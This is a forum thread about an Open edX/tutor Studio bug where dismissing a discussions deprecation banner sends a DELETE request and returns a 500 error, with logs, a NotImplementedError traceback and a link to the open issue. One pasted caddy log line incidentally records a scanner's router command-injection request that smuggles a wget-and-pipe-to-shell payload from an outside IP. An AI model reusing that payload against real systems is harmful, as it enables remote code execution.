Server error 500 when dismissing a notice message about discussion forum

Hi,
I’m using tutor 17.0.5
After enabling forum plugin and creating a new course, a yellow notice message stating the following shows at the top of the page: “This course run is using an upgraded version of edx discussion forum. In order to display the discussions sidebar, discussions xBlocks will no longer be visible to learners.”

When clicking dismiss button the following error message shows at the bottom of the page: “Studio’s having trouble saving your work. The Studio servers encountered an error”

Here is the last 5 of the caddy log:

tutor_local-caddy-1 | {“level”:“info”,“ts”:1718464889.8514864,“logger”:“http.log.access.log1”,“msg”:“handled request”,“request”:{“remote_ip”:“172.71.86.139”,“remote_port”:“48924”,“client_ip”:“172.71.86.139”,“proto”:“HTTP/1.1”,“method”:“GET”,“host”:“studio.academy.uobaghdad.edu.iq”,“uri”:“/course/course-v1:UniversityofBaghdad+WP1+2024-T2”,“tls”:{“resumed”:false,“version”:772,“cipher_suite”:4865,“proto”:“http/1.1”,“server_name”:“studio.academy.uobaghdad.edu.iq”}},“bytes_read”:0,“user_id”:“”,“duration”:0.275153408,“size”:19388,“status”:200}
tutor_local-caddy-1 | {“level”:“info”,“ts”:1718464890.3174696,“logger”:“http.log.access.log1”,“msg”:“handled request”,“request”:{“remote_ip”:“172.71.86.139”,“remote_port”:“48924”,“client_ip”:“172.71.86.139”,“proto”:“HTTP/1.1”,“method”:“GET”,“host”:“studio.academy.uobaghdad.edu.iq”,“uri”:“/api/courses/v1/quality/course-v1:UniversityofBaghdad+WP1+2024-T2/?exclude_graded=true&all=true”,“tls”:{“resumed”:false,“version”:772,“cipher_suite”:4865,“proto”:“http/1.1”,“server_name”:“studio.academy.uobaghdad.edu.iq”}},“bytes_read”:0,“user_id”:“”,“duration”:0.057433184,“size”:252,“status”:200}
tutor_local-caddy-1 | {“level”:“info”,“ts”:1718464890.5598726,“logger”:“http.log.access.log1”,“msg”:“handled request”,“request”:{“remote_ip”:“172.71.86.133”,“remote_port”:“49550”,“client_ip”:“172.71.86.133”,“proto”:“HTTP/1.1”,“method”:“GET”,“host”:“studio.academy.uobaghdad.edu.iq”,“uri”:“/api/courses/v1/validation/course-v1:UniversityofBaghdad+WP1+2024-T2/?graded_only=true&all=true”,“tls”:{“resumed”:false,“version”:772,“cipher_suite”:4865,“proto”:“http/1.1”,“server_name”:“studio.academy.uobaghdad.edu.iq”}},“bytes_read”:0,“user_id”:“”,“duration”:0.066190074,“size”:254,“status”:200}
tutor_local-caddy-1 | {“level”:“info”,“ts”:1718464896.152308,“logger”:“http.log.access”,“msg”:“handled request”,“request”:{“remote_ip”:“185.191.127.212”,“remote_port”:“51232”,“client_ip”:“185.191.127.212”,“proto”:“HTTP/1.1”,“method”:“GET”,“host”:“159.69.49.119:80”,“uri”:“/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft±O-+|+sh%60)”,“headers”:{“User-Agent”:[“Go-http-client/1.1”]}},“bytes_read”:0,“user_id”:“”,“duration”:0.000040386,“size”:0,“status”:308,“resp_headers”:{“Location”:[“https://159.69.49.119/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh`)"],“Content-Type”:[],“Server”:[“Caddy”],“Connection”:["close”]}}
tutor_local-caddy-1 | {“level”:“error”,“ts”:1718464901.8152924,“logger”:“http.log.access.log1”,“msg”:“handled request”,“request”:{“remote_ip”:“172.71.86.133”,“remote_port”:“49550”,“client_ip”:“172.71.86.133”,“proto”:“HTTP/1.1”,“method”:“DELETE”,“host”:“studio.academy.uobaghdad.edu.iq”,“uri”:“/course/course-v1:UniversityofBaghdad+WP1+2024-T2”,“tls”:{“resumed”:false,“version”:772,“cipher_suite”:4865,“proto”:“http/1.1”,“server_name”:“studio.academy.uobaghdad.edu.iq”}},“bytes_read”:0,“user_id”:“”,“duration”:0.158813383,“size”:52,“status”:500}

How can I get more details on the error cause?

2 Likes

Any thoughts?

I’m getting the same error in 17.0.3

If you trace the call and check the logs in studio it shows a NotImplementedError. It’s not clear why closing an alert box triggers a course deletion.

2025-01-30 16:34:40 2025-01-30 15:34:40,031 INFO 25 [tracking] [user 4] [ip 172.18.0.1] logger.py:41 - {“name”: “/course/course-v1:TestOrg+PT-001+2022_01”, “context”: {“user_id”: 4, “path”: “/course/course-v1:TestOrg+PT-001+2022_01”, “course_id”: “course-v1:TestOrg+PT-001+2022_01”, “org_id”: “TestOrg”, “enterprise_uuid”: “”}, “username”: “admin”, “session”: “622384568253b5386f72207504daac9a”, “ip”: “172.18.0.1”, “agent”: “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36”, “host”: “best-studio.charite.local”, “referer”: “https://best-studio.charite.local/course/course-v1:TestOrg+PT-001+2022_01”, “accept_language”: “en-US,en;q=0.9,de;q=0.8,cs;q=0.7,sk;q=0.6”, “event”: “{"GET": {}, "POST": {}}”, “time”: “2025-01-30T15:34:40.031327+00:00”, “event_type”: “/course/course-v1:TestOrg+PT-001+2022_01”, “event_source”: “server”, “page”: null}
2025-01-30 16:34:40 2025-01-30 15:34:40,041 ERROR 25 [root] [user None] [ip None] signals.py:22 - Uncaught exception from None
2025-01-30 16:34:40 Traceback (most recent call last):
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/core/handlers/exception.py”, line 55, in inner
2025-01-30 16:34:40 response = get_response(request)
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/core/handlers/base.py”, line 197, in _get_response
2025-01-30 16:34:40 response = wrapped_callback(request, *callback_args, **callback_kwargs)
2025-01-30 16:34:40 File “/opt/pyenv/versions/3.8.18/lib/python3.8/contextlib.py”, line 75, in inner
2025-01-30 16:34:40 return func(*args, **kwds)
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/contrib/auth/decorators.py”, line 23, in _wrapper_view
2025-01-30 16:34:40 return view_func(request, *args, **kwargs)
2025-01-30 16:34:40 File “/openedx/edx-platform/./cms/djangoapps/contentstore/views/course.py”, line 301, in course_handler
2025-01-30 16:34:40 raise NotImplementedError()
2025-01-30 16:34:40 NotImplementedError
2025-01-30 16:34:40 2025-01-30 15:34:40,042 ERROR 25 [django.request] [user 4] [ip 172.18.0.1] log.py:241 - Internal Server Error: /course/course-v1:TestOrg+PT-001+2022_01
2025-01-30 16:34:40 Traceback (most recent call last):
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/core/handlers/exception.py”, line 55, in inner
2025-01-30 16:34:40 response = get_response(request)
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/core/handlers/base.py”, line 197, in _get_response
2025-01-30 16:34:40 response = wrapped_callback(request, *callback_args, **callback_kwargs)
2025-01-30 16:34:40 File “/opt/pyenv/versions/3.8.18/lib/python3.8/contextlib.py”, line 75, in inner
2025-01-30 16:34:40 return func(*args, **kwds)
2025-01-30 16:34:40 File “/openedx/venv/lib/python3.8/site-packages/django/contrib/auth/decorators.py”, line 23, in _wrapper_view
2025-01-30 16:34:40 return view_func(request, *args, **kwargs)
2025-01-30 16:34:40 File “/openedx/edx-platform/./cms/djangoapps/contentstore/views/course.py”, line 301, in course_handler
2025-01-30 16:34:40 raise NotImplementedError()
2025-01-30 16:34:40 NotImplementedError
2025-01-30 16:34:40 [pid: 25|app: 0|req: 15/27] 192.168.1.5 () {68 vars in 2636 bytes} [Thu Jan 30 15:34:40 2025] DELETE /course/course-v1:TestOrg+PT-001+2022_01 => generated 52 bytes in 66 msecs (HTTP/1.1 500) 8 headers in 449 bytes (1 switches on core 0)

Update: There’s an open issue for this: Dismiss for Discussions x-blocks deprecation banner in Studio causes 500 error message · Issue #34483 · openedx/edx-platform · GitHub